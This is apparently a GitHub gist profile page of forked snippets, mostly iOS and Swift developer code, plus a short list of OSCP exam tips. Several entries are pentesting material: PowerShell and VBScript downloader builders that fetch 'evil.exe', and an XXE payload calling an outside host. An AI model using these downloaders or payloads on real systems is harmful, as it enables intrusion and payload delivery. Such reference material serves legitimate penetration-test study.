Skip to content

Instantly share code, notes, and snippets.

View DiegoCaridei's full-sized avatar

DiegoCaridei DiegoCaridei

View GitHub Profile
@DiegoCaridei
DiegoCaridei / gist:c27b958a47fd05b00a51925b62b34828
Created August 11, 2017 14:53 — forked from abury/gist:1404051
Simple iOS Build Script
#!/bin/sh
# Simple iOS build script
# Written by Aron Bury, 29/11/2011
appname="AwesomeApp"
target_name="$appname"
sdk="iphoneos"
certificate="iPhone Developer: Joe Blogs"
@DiegoCaridei
DiegoCaridei / buttonAnimationExtension.swift
Created February 23, 2018 18:14 — forked from SAllen0400/buttonAnimationExtension.swift
Core Animation on UIButton Example
// Swift 3
extension UIButton {
func pulsate() {
let pulse = CASpringAnimation(keyPath: "transform.scale")
pulse.duration = 0.6
pulse.fromValue = 0.95
pulse.toValue = 1.0
@DiegoCaridei
DiegoCaridei / .swiftlint.yml
Created March 31, 2018 12:49 — forked from candostdagdeviren/.swiftlint.yml
Sample SwiftLint file to apply best practices
disabled_rules: # rule identifiers to exclude from running
- variable_name
- nesting
- function_parameter_count
opt_in_rules: # some rules are only opt-in
- control_statement
- empty_count
- trailing_newline
- colon
- comma
@DiegoCaridei
DiegoCaridei / Fastfile
Created August 8, 2018 15:34 — forked from JagCesar/Fastfile
Cookin Fastfile
# Customise this file, documentation can be found here:
# https://github.com/fastlane/fastlane/tree/master/docs
# All available actions: https://github.com/fastlane/fastlane/blob/master/fastlane/docs/Actions.md
# can also be listed using the `fastlane actions` command
# Change the syntax highlighting to Ruby
# All lines starting with a # are ignored when running `fastlane`
# If you want to automatically update fastlane if a new version is available:
# update_fastlane
@DiegoCaridei
DiegoCaridei / UIAlertController+TextField.swift
Created August 30, 2018 14:49 — forked from ole/UIAlertController+TextField.swift
A UIAlertController with a text field and the ability to perform validation on the text the user has entered while the alert is on screen. The OK button is only enabled when the entered text passes validation. More info: https://oleb.net/2018/uialertcontroller-textfield/
import UIKit
/// A validation rule for text input.
public enum TextValidationRule {
/// Any input is valid, including an empty string.
case noRestriction
/// The input must not be empty.
case nonEmpty
/// The enitre input must match a regular expression. A matching substring is not enough.
case regularExpression(NSRegularExpression)
@DiegoCaridei
DiegoCaridei / wget.ps1
Created September 10, 2018 12:16 — forked from D-Virus/wget.ps1
echo $storageDir = $pwd > wget.ps1
echo $webclient = New‐Object System.Net.WebClient >>wget.ps1
echo $url = "http://192.168.10.52:8000/evil.exe" >>wget.ps1
echo $file = "new-exploit.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
@DiegoCaridei
DiegoCaridei / wget_vbs
Created September 10, 2018 12:16 — forked from sckalath/wget_vbs
wget vbscript
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
@DiegoCaridei
DiegoCaridei / Fade Out TitleView on Swipe
Created October 1, 2018 15:58 — forked from ccabanero/Fade Out TitleView on Swipe
Fade Out TitleView on Swipe
/**
For configuring the NavigationBar to show/hide when user swipes
- returns: void
*/
func configureNavigationBarAsHideable() {
if let navigationController = self.navigationController {
// respond to swipe and hide/show
navigationController.hidesBarsOnSwipe = true
@DiegoCaridei
DiegoCaridei / XXE_payloads
Created October 10, 2018 11:03 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

A few tips for OSCP

  1. Doing all of the exercises is important since you will discover low-hanging fruit from the labs based on the recon you do with the different tools in the exercises.
  2. Be wary of doing full /24 range port scans, especially for anything more than a few TCP ports. The machines might be in all sorts of broken states left by students etc.
  3. When starting to recon a specific machine:
  • Revert
  • Port scan
  • Try to identify services

Those steps in that order are important. You want a fresh state for the machine and you want to do just simple port scanning first because doing nmap's service scanning or nse scripts might send payloads that actually crash services. So be careful.